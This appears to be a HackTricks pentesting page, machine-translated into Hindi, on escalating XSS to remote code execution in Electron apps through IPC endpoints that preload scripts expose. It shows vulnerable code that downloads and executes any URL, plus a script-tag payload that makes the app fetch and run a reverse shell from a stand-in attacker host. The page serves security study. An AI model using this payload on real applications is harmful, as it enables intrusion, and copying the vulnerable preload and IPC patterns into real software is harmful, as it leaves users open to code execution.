Electron contextIsolation RCE via IPC

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

अगर preload स्क्रिप्ट main.js फ़ाइल से IPC एंडपॉइंट को उजागर करता है, तो रेंडरर प्रक्रिया इसे एक्सेस कर सकती है और यदि वंशावली है, तो RCE संभावित हो सकता है।

इन उदाहरणों का अधिकांश यहाँ से लिया गया था https://www.youtube.com/watch?v=xILfQGkLXQo। अधिक जानकारी के लिए वीडियो की जाँच करें।

उदाहरण 0

उदाहरण https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21 से (आपको पूर्ण उदाहरण माइक्रोसॉफ्ट टीम्स कैसे XSS से RCE तक का शिकार हो रहा था, यह बहुत ही मौलिक उदाहरण है):

उदाहरण 1

देखें कैसे main.js getUpdate पर सुनता है और किसी भी URL को डाउनलोड और एक्सीक्यूट करेगा। देखें भी कैसे preload.js मुख्य से कोई भी IPC घटना को उजागर करता है।

// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
});

mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};

शोषण:

<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>

उदाहरण 2

यदि प्रीलोड स्क्रिप्ट सीधे रेंडरर को shell.openExternal को कॉल करने का एक तरीका प्रकट करता है, तो RCE प्राप्त करना संभव है।

// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url);
};

उदाहरण 3

क्या प्रीलोड स्क्रिप्ट पूरी तरह से मुख्य प्रक्रिया के साथ संवाद करने के तरीके उजागर करता है, तो एक XSS किसी भी घटना को भेज सकेगा। इसका प्रभाव इस पर निर्भर करता है कि मुख्य प्रक्रिया IPC के संदर्भ में क्या उजागर करती है।

window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
};

window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Last updated